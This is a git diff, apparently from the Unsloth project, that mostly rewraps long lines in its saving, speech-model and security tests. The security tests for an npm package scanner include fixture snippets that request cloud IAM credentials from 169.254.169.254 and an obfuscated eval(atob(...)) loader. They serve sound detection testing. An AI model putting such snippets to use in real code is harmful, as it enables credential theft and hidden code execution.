     is_gpt_oss = _load_is_gpt_oss()
-    assert is_gpt_oss(_model(architectures = ["LlamaForCausalLM"], model_type = "llama")) is False
+    assert (
+        is_gpt_oss(_model(architectures = ["LlamaForCausalLM"], model_type = "llama"))
+        is False
+    )
     assert is_gpt_oss(_model()) is False
     assert is_gpt_oss(types.SimpleNamespace()) is False
diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py
index c2ddfb14e2..0ce09ebcb5 100644
--- a/tests/saving/test_llm_compressor_install_pin.py
+++ b/tests/saving/test_llm_compressor_install_pin.py
@@ -27,7 +27,8 @@ def _spec_value():
     for node in ast.walk(_module()):
         if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant):
             if any(
-                isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets
+                isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC"
+                for t in node.targets
             ):
                 return node.value.value
     return None
@@ -43,7 +44,9 @@ def test_spec_is_a_bounded_pin() -> None:
     assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope"
     assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}"
     # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release.
-    assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}"
+    assert (
+        ">=" in spec and "<" in spec
+    ), f"spec must have lower and upper bounds, got {spec!r}"
 
 
 def test_ceiling_blocks_inflated_versions() -> None:
@@ -68,7 +71,9 @@ def test_floor_stays_compatible_with_supported_torch() -> None:
     from packaging.version import Version
 
     req = Requirement(_spec_value())
-    lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")]
+    lowers = [
+        Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")
+    ]
     assert lowers, "spec must declare a lower bound"
     assert max(lowers) <= Version("0.6.0"), (
         f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); "
@@ -88,13 +93,19 @@ def test_install_command_uses_pinned_spec_not_bare_name() -> None:
                         "use the bounded _LLM_COMPRESSOR_SPEC"
                     )
     names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)}
-    assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC"
+    assert (
+        "_LLM_COMPRESSOR_SPEC" in names
+    ), "install command must reference _LLM_COMPRESSOR_SPEC"
 
 
 def test_optout_env_gate_precedes_subprocess_install() -> None:
     fn = _get_function("install_llm_compressor")
-    env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG)
-    assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor"
+    env_line = _first_lineno(
+        fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG
+    )
+    assert (
+        env_line is not None
+    ), f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor"
 
     def _is_check_call(n: ast.AST) -> bool:
         return (
@@ -106,7 +117,9 @@ def test_optout_env_gate_precedes_subprocess_install() -> None:
         )
 
     install_line = _first_lineno(fn, _is_check_call)
-    assert install_line is not None, "expected a subprocess.check_call install in the function"
+    assert (
+        install_line is not None
+    ), "expected a subprocess.check_call install in the function"
     assert (
         env_line < install_line
     ), "the auto-install opt-out must be evaluated before any package install runs"
diff --git a/tests/saving/test_preserve_tokenizer_eos_token.py b/tests/saving/test_preserve_tokenizer_eos_token.py
index 2dd280e6cd..76804ecbd3 100644
--- a/tests/saving/test_preserve_tokenizer_eos_token.py
+++ b/tests/saving/test_preserve_tokenizer_eos_token.py
@@ -16,7 +16,8 @@ def _load_preserve_helper():
     helper = next(
         node
         for node in tree.body
-        if isinstance(node, ast.FunctionDef) and node.name == "_preserve_tokenizer_eos_token"
+        if isinstance(node, ast.FunctionDef)
+        and node.name == "_preserve_tokenizer_eos_token"
     )
     module = ast.Module(body = [helper], type_ignores = [])
     ast.fix_missing_locations(module)
@@ -45,7 +46,9 @@ def test_preserve_tokenizer_eos_token_supports_processor_tokenizer(tmp_path):
     preserve = _load_preserve_helper()
     tokenizer_config = tmp_path / "tokenizer_config.json"
     tokenizer_config.write_text(json.dumps({"eos_token": ""}), encoding = "utf-8")
-    processor = types.SimpleNamespace(tokenizer = types.SimpleNamespace(eos_token = ""))
+    processor = types.SimpleNamespace(
+        tokenizer = types.SimpleNamespace(eos_token = "")
+    )
 
     preserve(processor, tmp_path)
 
diff --git a/tests/saving/test_prewarm_base_model_hub_cache.py b/tests/saving/test_prewarm_base_model_hub_cache.py
index 4269f9d61c..6f4d7d1033 100644
--- a/tests/saving/test_prewarm_base_model_hub_cache.py
+++ b/tests/saving/test_prewarm_base_model_hub_cache.py
@@ -159,8 +159,12 @@ def _build_env(
     )
     hf_cache_module = types.SimpleNamespace(_active_caches = lambda: (None, _live, None))
     monkeypatch.setitem(__import__("sys").modules, "huggingface_hub", hf_module)
-    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.saving_utils", zoo_module)
-    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.hf_cache", hf_cache_module)
+    monkeypatch.setitem(
+        __import__("sys").modules, "unsloth_zoo.saving_utils", zoo_module
+    )
+    monkeypatch.setitem(
+        __import__("sys").modules, "unsloth_zoo.hf_cache", hf_cache_module
+    )
 
     fake_shutil = types.SimpleNamespace(
         disk_usage = lambda path: types.SimpleNamespace(free = free_bytes)
@@ -177,7 +181,9 @@ def _build_env(
         "print": lambda *a, **k: prints.append(" ".join(str(x) for x in a)),
     }
     exec(
-        compile(_extract_function("_prewarm_base_model_hub_cache"), str(_SAVE_PY), "exec"),
+        compile(
+            _extract_function("_prewarm_base_model_hub_cache"), str(_SAVE_PY), "exec"
+        ),
         namespace,
     )
     stubs = types.SimpleNamespace(
@@ -210,7 +216,9 @@ def test_skips_download_when_already_cached(monkeypatch, tmp_path):
     fn(_FakePeftModel(), save_method = "merged_16bit")
     assert stubs.snapshot_download.calls == []
     # The cached check must not hit the network.
-    assert all(kwargs.get("local_files_only") for _, kwargs in stubs.hf_hub_download.calls)
+    assert all(
+        kwargs.get("local_files_only") for _, kwargs in stubs.hf_hub_download.calls
+    )
 
 
 def test_skips_when_disk_too_small_for_cache_copy(monkeypatch, tmp_path):
@@ -336,7 +344,9 @@ def test_relative_hub_cache_does_not_falsely_skip(monkeypatch, tmp_path):
     monkeypatch.chdir(tmp_path)
     fn, stubs = _build_env(monkeypatch, tmp_path, hub_cache = "relcache/hub")
     fn(_FakePeftModel(), save_method = "merged_16bit")
-    assert len(stubs.snapshot_download.calls) == 1, "relative cache path falsely skipped pre-warm"
+    assert (
+        len(stubs.snapshot_download.calls) == 1
+    ), "relative cache path falsely skipped pre-warm"
 
 
 def test_generic_save_calls_prewarm_before_merge():
@@ -352,12 +362,16 @@ def test_generic_save_calls_prewarm_before_merge():
     merge_pos = body_src.find("merge_and_overwrite_lora(")
     assert prewarm_pos != -1, "unsloth_generic_save no longer pre-warms the hub cache"
     assert merge_pos != -1
-    assert prewarm_pos < merge_pos, "pre-warm must run before the merge downloads shards"
+    assert (
+        prewarm_pos < merge_pos
+    ), "pre-warm must run before the merge downloads shards"
 
 
 def test_prewarm_downloads_into_live_env_cache(monkeypatch, tmp_path):
     # Download must target the live-env cache (what the merge reads), via cache_dir.
-    fn, stubs = _build_env(monkeypatch, tmp_path, live_hub_cache = "/mnt/persistent/hf/hub")
+    fn, stubs = _build_env(
+        monkeypatch, tmp_path, live_hub_cache = "/mnt/persistent/hf/hub"
+    )
     fn(_FakePeftModel(), save_method = "merged_16bit")
     assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/mnt/persistent/hf/hub"
 
@@ -383,7 +397,8 @@ def test_cached_probe_uses_live_env_cache(monkeypatch, tmp_path):
     fn(_FakePeftModel(), save_method = "merged_16bit")
     assert stubs.hf_hub_download.calls, "cached probe did not run"
     assert all(
-        kw.get("cache_dir") == "/mnt/persistent/hf/hub" for _, kw in stubs.hf_hub_download.calls
+        kw.get("cache_dir") == "/mnt/persistent/hf/hub"
+        for _, kw in stubs.hf_hub_download.calls
     )
 
 
diff --git a/tests/saving/test_save_shell_injection.py b/tests/saving/test_save_shell_injection.py
index 5f55137771..4ec422ea75 100644
--- a/tests/saving/test_save_shell_injection.py
+++ b/tests/saving/test_save_shell_injection.py
@@ -41,15 +41,21 @@ def _list_assignments(node: ast.AST, target: str) -> list[ast.List]:
 def test_lora_gguf_conversion_does_not_use_shell() -> None:
     """The LoRA -> GGUF conversion must pass argv as a list (no shell=True), so a crafted
     save path cannot inject shell commands. The conversion lives in the shared helper now."""
-    helper = _get_function(SAVE_PY.read_text(encoding = "utf-8"), "_unsloth_save_lora_gguf")
+    helper = _get_function(
+        SAVE_PY.read_text(encoding = "utf-8"), "_unsloth_save_lora_gguf"
+    )
     popen_calls = _popen_calls(helper)
-    assert popen_calls, "Expected at least one subprocess.Popen call in _unsloth_save_lora_gguf"
+    assert (
+        popen_calls
+    ), "Expected at least one subprocess.Popen call in _unsloth_save_lora_gguf"
 
     for call in popen_calls:
         shell = [
             kw
             for kw in call.keywords
-            if kw.arg == "shell" and isinstance(kw.value, ast.Constant) and kw.value.value is True
+            if kw.arg == "shell"
+            and isinstance(kw.value, ast.Constant)
+            and kw.value.value is True
         ]
         assert not shell, "subprocess.Popen must not use shell=True"
 
@@ -59,12 +65,18 @@ def test_lora_gguf_conversion_does_not_use_shell() -> None:
             elts = argv.elts
         else:
             # argv is built as a list variable (cmd = [...]) and passed positionally.
-            assert isinstance(argv, ast.Name), "argv must be a list or a list-built variable"
+            assert isinstance(
+                argv, ast.Name
+            ), "argv must be a list or a list-built variable"
             assigned = _list_assignments(helper, argv.id)
-            assert assigned, f"argv variable '{argv.id}' must be assigned a list literal"
+            assert (
+                assigned
+            ), f"argv variable '{argv.id}' must be assigned a list literal"
             elts = assigned[0].elts
 
-        assert len(elts) >= 2, "argv must include the interpreter and the converter script"
+        assert (
+            len(elts) >= 2
+        ), "argv must include the interpreter and the converter script"
         first = elts[0]
         assert (
             isinstance(first, ast.Attribute) and first.attr == "executable"
@@ -82,7 +94,8 @@ def test_legacy_ggml_wrappers_delegate_safely() -> None:
         node = _get_function(source, function_name)
         calls = [c for c in ast.walk(node) if isinstance(c, ast.Call)]
         assert any(
-            isinstance(c.func, ast.Name) and c.func.id == "_unsloth_save_lora_gguf" for c in calls
+            isinstance(c.func, ast.Name) and c.func.id == "_unsloth_save_lora_gguf"
+            for c in calls
         ), f"{function_name} should delegate to _unsloth_save_lora_gguf"
         assert not _popen_calls(
             node
diff --git a/tests/saving/test_save_subprocess_utf8_encoding.py b/tests/saving/test_save_subprocess_utf8_encoding.py
index 165087d03a..dc1579fee6 100644
--- a/tests/saving/test_save_subprocess_utf8_encoding.py
+++ b/tests/saving/test_save_subprocess_utf8_encoding.py
@@ -64,7 +64,9 @@ def _collect_text_mode_subprocess_calls() -> list[ast.Call]:
     return [
         node
         for node in ast.walk(tree)
-        if isinstance(node, ast.Call) and _is_subprocess_call(node) and _is_text_mode(node)
+        if isinstance(node, ast.Call)
+        and _is_subprocess_call(node)
+        and _is_text_mode(node)
     ]
 
 
diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py
index 1d0acb7866..24818d78c6 100644
--- a/tests/saving/test_torchao_remote_code_consent.py
+++ b/tests/saving/test_torchao_remote_code_consent.py
@@ -44,7 +44,10 @@ def _obj(module_name, **attrs):
 
 
 def test_builtin_class_is_not_remote_code():
-    assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False
+    assert (
+        _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama"))
+        is False
+    )
 
 
 def test_transformers_modules_class_is_remote_code():
@@ -65,7 +68,9 @@ def test_auto_map_in_config_alone_does_not_grant_trust():
     # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass).
     cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})()
     assert (
-        _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg))
+        _loaded_via_remote_code(
+            _obj("transformers.models.llama.modeling_llama", config = cfg)
+        )
         is False
     )
 
@@ -134,7 +139,10 @@ def test_compressed_and_gguf_lora_paths_drop_auto_map_trust():
     # No path derives a trust decision straight from config auto_map anymore, and no path
     # collapses model and tokenizer trust into one flag.
     assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC
-    assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC
+    assert (
+        "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)"
+        not in _SRC
+    )
     assert "if _loaded_via_remote_code(model):" in _SRC  # GGUF-LoRA converter flag
 
 
@@ -144,7 +152,10 @@ def test_compressed_export_keeps_model_and_tokenizer_trust_separate():
     assert 'cmd.append("--trust-remote-code")' in _SRC
     assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC
     qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8")
-    assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc
+    assert (
+        'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")'
+        in qsrc
+    )
     assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc
     # The model loads keep the model flag only.
     assert "args.model, args.trust_remote_code)" in qsrc
diff --git a/tests/saving/test_unsloth_save.py b/tests/saving/test_unsloth_save.py
index de3a1556b4..b865badddf 100644
--- a/tests/saving/test_unsloth_save.py
+++ b/tests/saving/test_unsloth_save.py
@@ -128,13 +128,19 @@ def test_save_merged_16bit(model, tokenizer, temp_save_dir: str):
         model.config._name_or_path.replace("/", "_"),
     )
 
-    model.save_pretrained_merged(save_path, tokenizer = tokenizer, save_method = "merged_16bit")
+    model.save_pretrained_merged(
+        save_path, tokenizer = tokenizer, save_method = "merged_16bit"
+    )
 
     assert os.path.isdir(save_path), f"Directory {save_path} does not exist."
-    assert os.path.isfile(os.path.join(save_path, "config.json")), "config.json not found."
+    assert os.path.isfile(
+        os.path.join(save_path, "config.json")
+    ), "config.json not found."
 
     weight_files = [
-        f for f in os.listdir(save_path) if f.endswith(".bin") or f.endswith(".safetensors")
+        f
+        for f in os.listdir(save_path)
+        if f.endswith(".bin") or f.endswith(".safetensors")
     ]
     assert len(weight_files) > 0, "No weight files found in the save directory."
 
@@ -148,7 +154,9 @@ def test_save_merged_16bit(model, tokenizer, temp_save_dir: str):
     with open(config_path, "r") as f:
         config = json.load(f)
 
-    assert "quantization_config" not in config, "Quantization config not found in the model config."
+    assert (
+        "quantization_config" not in config
+    ), "Quantization config not found in the model config."
 
     total_size = sum(os.path.getsize(os.path.join(save_path, f)) for f in weight_files)
     save_file_sizes["merged_16bit"][model.config._name_or_path] = total_size
@@ -169,13 +177,19 @@ def test_save_merged_4bit(model, tokenizer, temp_save_dir: str):
         model.config._name_or_path.replace("/", "_"),
     )
 
-    model.save_pretrained_merged(save_path, tokenizer = tokenizer, save_method = "merged_4bit_forced")
+    model.save_pretrained_merged(
+        save_path, tokenizer = tokenizer, save_method = "merged_4bit_forced"
+    )
 
     assert os.path.isdir(save_path), f"Directory {save_path} does not exist."
-    assert os.path.isfile(os.path.join(save_path, "config.json")), "config.json not found."
+    assert os.path.isfile(
+        os.path.join(save_path, "config.json")
+    ), "config.json not found."
 
     weight_files = [
-        f for f in os.listdir(save_path) if f.endswith(".bin") or f.endswith(".safetensors")
+        f
+        for f in os.listdir(save_path)
+        if f.endswith(".bin") or f.endswith(".safetensors")
     ]
     assert len(weight_files) > 0, "No weight files found in the save directory."
 
@@ -198,7 +212,9 @@ def test_save_merged_4bit(model, tokenizer, temp_save_dir: str):
     with open(config_path, "r") as f:
         config = json.load(f)
 
-    assert "quantization_config" in config, "Quantization config not found in the model config."
+    assert (
+        "quantization_config" in config
+    ), "Quantization config not found in the model config."
 
     loaded_model, loaded_tokenizer = FastModel.from_pretrained(
         save_path,
@@ -229,18 +245,28 @@ def test_save_torchao(fp16_model_tokenizer, temp_save_dir: str):
     )
 
     weight_files_16bit = [
-        f for f in os.listdir(save_path) if f.endswith(".bin") or f.endswith(".safetensors")
+        f
+        for f in os.listdir(save_path)
+        if f.endswith(".bin") or f.endswith(".safetensors")
     ]
-    total_16bit_size = sum(os.path.getsize(os.path.join(save_path, f)) for f in weight_files_16bit)
+    total_16bit_size = sum(
+        os.path.getsize(os.path.join(save_path, f)) for f in weight_files_16bit
+    )
     save_file_sizes["merged_16bit"][model.config._name_or_path] = total_16bit_size
 
     torchao_save_path = save_path + "-torchao"
 
-    assert os.path.isdir(torchao_save_path), f"Directory {torchao_save_path} does not exist."
-    assert os.path.isfile(os.path.join(torchao_save_path, "config.json")), "config.json not found."
+    assert os.path.isdir(
+        torchao_save_path
+    ), f"Directory {torchao_save_path} does not exist."
+    assert os.path.isfile(
+        os.path.join(torchao_save_path, "config.json")
+    ), "config.json not found."
 
     weight_files = [
-        f for f in os.listdir(torchao_save_path) if f.endswith(".bin") or f.endswith(".safetensors")
+        f
+        for f in os.listdir(torchao_save_path)
+        if f.endswith(".bin") or f.endswith(".safetensors")
     ]
     assert len(weight_files) > 0, "No weight files found in the save directory."
 
@@ -249,7 +275,9 @@ def test_save_torchao(fp16_model_tokenizer, temp_save_dir: str):
             os.path.join(torchao_save_path, file)
         ), f"{file} not found in the save directory."
 
-    total_size = sum(os.path.getsize(os.path.join(torchao_save_path, f)) for f in weight_files)
+    total_size = sum(
+        os.path.getsize(os.path.join(torchao_save_path, f)) for f in weight_files
+    )
     save_file_sizes["torchao"][model.config._name_or_path] = total_size
 
     assert (
@@ -260,7 +288,9 @@ def test_save_torchao(fp16_model_tokenizer, temp_save_dir: str):
     with open(config_path, "r") as f:
         config = json.load(f)
 
-    assert "quantization_config" in config, "Quantization config not found in the model config."
+    assert (
+        "quantization_config" in config
+    ), "Quantization config not found in the model config."
 
     # load_in_4bit must stay False: a torchao-quantized model can't be
     # re-quantized with bitsandbytes.
@@ -285,7 +315,9 @@ def test_save_and_inference_torchao(fp16_model_tokenizer, temp_save_dir: str):
 
     print(f"Testing TorchAO save and inference for: {model_name}")
 
-    save_path = os.path.join(temp_save_dir, "torchao_models", model_name.replace("/", "_"))
+    save_path = os.path.join(
+        temp_save_dir, "torchao_models", model_name.replace("/", "_")
+    )
 
     from torchao.quantization import Int8DynamicActivationInt8WeightConfig
 
diff --git a/tests/saving/text_to_speech_models/test_csm.py b/tests/saving/text_to_speech_models/test_csm.py
index 7c1a7a275b..a718b3eb18 100644
--- a/tests/saving/text_to_speech_models/test_csm.py
+++ b/tests/saving/text_to_speech_models/test_csm.py
@@ -133,7 +133,9 @@ import torch
 
 output_audio_path = "csm_audio.wav"
 try:
-    text = "We just finished fine tuning a text to speech model... and it's pretty good!"
+    text = (
+        "We just finished fine tuning a text to speech model... and it's pretty good!"
+    )
     speaker_id = 0
     inputs = processor(f"[{speaker_id}]{text}", add_special_tokens = True).to("cuda")
     audio_values = model.generate(
diff --git a/tests/saving/text_to_speech_models/test_lasa.py b/tests/saving/text_to_speech_models/test_lasa.py
index eea69ddd0a..41e08e5189 100644
--- a/tests/saving/text_to_speech_models/test_lasa.py
+++ b/tests/saving/text_to_speech_models/test_lasa.py
@@ -165,7 +165,9 @@ def extract_speech_ids(speech_tokens_str):
 
 with torch.inference_mode():
     with torch.amp.autocast("cuda", dtype = model.dtype):
-        formatted_text = f"<|TEXT_UNDERSTANDING_START|>{input_text}<|TEXT_UNDERSTANDING_END|>"
+        formatted_text = (
+            f"<|TEXT_UNDERSTANDING_START|>{input_text}<|TEXT_UNDERSTANDING_END|>"
+        )
 
         chat = [
             {"role": "user", "content": "Convert the text to speech:" + formatted_text},
diff --git a/tests/saving/text_to_speech_models/test_orpheus.py b/tests/saving/text_to_speech_models/test_orpheus.py
index 99feeeda13..ae96919718 100644
--- a/tests/saving/text_to_speech_models/test_orpheus.py
+++ b/tests/saving/text_to_speech_models/test_orpheus.py
@@ -151,7 +151,9 @@ for prompt in prompts_:
     all_input_ids.append(input_ids)
 
 start_token = torch.tensor([[128259]], dtype = torch.int64)  # Start of human
-end_tokens = torch.tensor([[128009, 128260]], dtype = torch.int64)  # End of text, End of human
+end_tokens = torch.tensor(
+    [[128009, 128260]], dtype = torch.int64
+)  # End of text, End of human
 
 all_modified_input_ids = []
 for input_ids in all_input_ids:
@@ -162,7 +164,9 @@ for input_ids in all_input_ids:
 
 all_padded_tensors = []
 all_attention_masks = []
-max_length = max([modified_input_ids.shape[1] for modified_input_ids in all_modified_input_ids])
+max_length = max(
+    [modified_input_ids.shape[1] for modified_input_ids in all_modified_input_ids]
+)
 for modified_input_ids in all_modified_input_ids:
     padding = max_length - modified_input_ids.shape[1]
     padded_tensor = torch.cat(
diff --git a/tests/saving/text_to_speech_models/test_whisper.py b/tests/saving/text_to_speech_models/test_whisper.py
index a3f41d1833..de13930128 100644
--- a/tests/saving/text_to_speech_models/test_whisper.py
+++ b/tests/saving/text_to_speech_models/test_whisper.py
@@ -178,9 +178,13 @@ expected_phrases = [
 ]
 
 transcribed_lower = transcribed_text["text"].lower()
-all_phrases_found = all(phrase.lower() in transcribed_lower for phrase in expected_phrases)
+all_phrases_found = all(
+    phrase.lower() in transcribed_lower for phrase in expected_phrases
+)
 
-assert all_phrases_found, f"Expected phrases not found in transcription: {transcribed_text['text']}"
+assert (
+    all_phrases_found
+), f"Expected phrases not found in transcription: {transcribed_text['text']}"
 print("✅ Transcription contains all expected phrases!")
 
 
diff --git a/tests/security/test_lockfile_supply_chain_audit.py b/tests/security/test_lockfile_supply_chain_audit.py
index d464fe44d4..d5cea65179 100644
--- a/tests/security/test_lockfile_supply_chain_audit.py
+++ b/tests/security/test_lockfile_supply_chain_audit.py
@@ -232,7 +232,9 @@ def test_advisory_finding_emitted_as_single_line_annotation(tmp_path):
         npm_lockfiles = [FIXTURES / "clean_lockfile.json"],
         cargo_lockfiles = [lockfile],
     )
-    warning_lines = [line for line in proc.stderr.splitlines() if line.startswith("::warning::")]
+    warning_lines = [
+        line for line in proc.stderr.splitlines() if line.startswith("::warning::")
+    ]
     assert warning_lines, (
         "expected at least one ::warning:: annotation; " f"stderr was:\n{proc.stderr}"
     )
diff --git a/tests/security/test_new_install_scripts.py b/tests/security/test_new_install_scripts.py
index d8656b114e..b712a77a52 100644
--- a/tests/security/test_new_install_scripts.py
+++ b/tests/security/test_new_install_scripts.py
@@ -97,7 +97,9 @@ def test_new_dep_with_postinstall_exits_1(tmp_path: Path):
     head_pkgs = dict(base_pkgs)
     head_pkgs["node_modules/evil-postinstall"] = {
         "version": "1.0.0",
-        "resolved": ("https://registry.npmjs.org/evil-postinstall/-/evil-postinstall-1.0.0.tgz"),
+        "resolved": (
+            "https://registry.npmjs.org/evil-postinstall/-/evil-postinstall-1.0.0.tgz"
+        ),
         "integrity": "sha512-fake",
         "hasInstallScript": True,
     }
@@ -177,7 +179,8 @@ def test_v2_v3_lockfile_format_support(tmp_path: Path):
     head = _write(tmp_path / "head.json", _v2_lockfile(head_pkgs, head_deps))
     result = _run(base, head)
     assert result.returncode == 1, (
-        f"expected exit 1 for v2 lockfile, got {result.returncode}; " f"stderr:\n{result.stderr}"
+        f"expected exit 1 for v2 lockfile, got {result.returncode}; "
+        f"stderr:\n{result.stderr}"
     )
     assert "v2-postinstall-dep" in result.stderr
 
diff --git a/tests/security/test_release_desktop_permissions.py b/tests/security/test_release_desktop_permissions.py
index b1010425d8..ad3f280f45 100644
--- a/tests/security/test_release_desktop_permissions.py
+++ b/tests/security/test_release_desktop_permissions.py
@@ -42,10 +42,12 @@ def test_build_matrix_hands_off_assets_without_release_credentials():
         assert not {"releaseId", "tagName", "releaseName"} & step.get("with", {}).keys()
 
     assert any(
-        step.get("uses", "").startswith("actions/upload-artifact@") for step in build["steps"]
+        step.get("uses", "").startswith("actions/upload-artifact@")
+        for step in build["steps"]
     )
     assert any(
-        step.get("uses", "").startswith("actions/download-artifact@") for step in publish["steps"]
+        step.get("uses", "").startswith("actions/download-artifact@")
+        for step in publish["steps"]
     )
     assert "build" in publish["needs"]
 
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index 35a34e2834..bc47a56e72 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -87,10 +87,16 @@ def test_blocked_npm_versions_complete():
     table = snp.BLOCKED_NPM_VERSIONS
     tanstack_keys = [k for k in table if k.startswith("@tanstack/")]
     assert len(tanstack_keys) == 42, (
-        f"expected 42 @tanstack/* entries, got {len(tanstack_keys)}: " f"{sorted(tanstack_keys)}"
+        f"expected 42 @tanstack/* entries, got {len(tanstack_keys)}: "
+        f"{sorted(tanstack_keys)}"
     )
     assert "@opensearch-project/opensearch" in table
-    assert table["@opensearch-project/opensearch"] == {"3.5.3", "3.6.2", "3.7.0", "3.8.0"}
+    assert table["@opensearch-project/opensearch"] == {
+        "3.5.3",
+        "3.6.2",
+        "3.7.0",
+        "3.8.0",
+    }
     squawk = [k for k in table if k.startswith("@squawk/")]
     assert len(squawk) >= 22, (
         f"expected at least 22 @squawk/* entries (full safedep.io enumeration), "
@@ -257,7 +263,9 @@ def test_strip_preserves_assigned_base64_payload():
 
 def test_strip_fails_open_on_unterminated_block_comment():
     src = "code(); /* never closed"
-    assert snp._strip_js_noncode(src) == src  # fail open: unchanged, still fully scanned
+    assert (
+        snp._strip_js_noncode(src) == src
+    )  # fail open: unchanged, still fully scanned
 
 
 def test_strip_only_applies_to_js_family():
@@ -330,7 +338,9 @@ def _finding(
     sev = snp.HIGH,
     evidence = "",
 ):
-    return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence)
+    return snp.Finding(
+        severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence
+    )
 
 
 def test_norm_pkg_name_strips_version_keeps_scope():
@@ -377,7 +387,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
     )
     baseline = snp._load_baseline(str(bl))
 
-    listed = _finding("aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)")
+    listed = _finding(
+        "aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)"
+    )
     # A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
     new_kind = _finding("aws-sdk@2.0.0", "package/metadata.js", "obfuscated-blob")
     active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
@@ -390,7 +402,9 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
     findings = [
         _finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),
         _finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),  # dup
-        _finding("noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM),  # below thresh
+        _finding(
+            "noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM
+        ),  # below thresh
     ]
     n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
     assert n == 1  # dedup + MEDIUM excluded
@@ -405,14 +419,20 @@ def test_baseline_reopens_on_changed_evidence(tmp_path):
     # includes an evidence hash, so a new payload cannot ride a reviewed entry.
     bl = tmp_path / "bl.json"
     listed = _finding(
-        "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+        "left-pad@1.0.0",
+        "package/dist/index.js",
+        "obfuscated-blob",
+        evidence = "fetch('http://ok')",
     )
     snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH])
     baseline = snp._load_baseline(str(bl))
 
     # The reviewed finding stays suppressed across a version bump (same evidence).
     same = _finding(
-        "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')"
+        "left-pad@9.9.9",
+        "package/dist/index.js",
+        "obfuscated-blob",
+        evidence = "fetch('http://ok')",
     )
     # A changed payload under the same package/file/pattern stays active.
     changed = _finding(
@@ -469,10 +489,14 @@ def test_js_fetch_eval_payload_tail_reopens_key():
     old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n"
     new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n"
     of = [
-        f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval"
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "js-fetch-eval"
     ][0]
     nf = [
-        f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval"
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "js-fetch-eval"
     ][0]
     assert "sha256:" in of.evidence
     assert snp._finding_key(of) != snp._finding_key(nf)
@@ -516,9 +540,7 @@ def test_outbound_host_config_multiline_object_reopens():
         integrity = "sha512-test",
         lockfile_key = "node_modules/evil",
     )
-    obj = (
-        "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nhttps.request(opts);\n"
-    )
+    obj = "const opts = {\n  hostname: '169.254.169.254',\n  path: '%s',\n};\nhttps.request(opts);\n"
     old = obj % "/latest/meta-data/iam/security-credentials/old"
     new = obj % "/latest/meta-data/iam/security-credentials/evil"
     of = [
@@ -578,7 +600,9 @@ def test_outbound_host_config_far_opener_binds():
         + "\n  hostname: '169.254.169.254',\n  path: '/x',\n};\nrun(opts);\n"
     )
     changed = obj.replace("opt0: 0,", "opt0: 999,")
-    assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed))
+    assert snp._finding_key(_host_finding(obj)) != snp._finding_key(
+        _host_finding(changed)
+    )
 
 
 def test_outbound_host_config_forward_cap_measured_from_match():
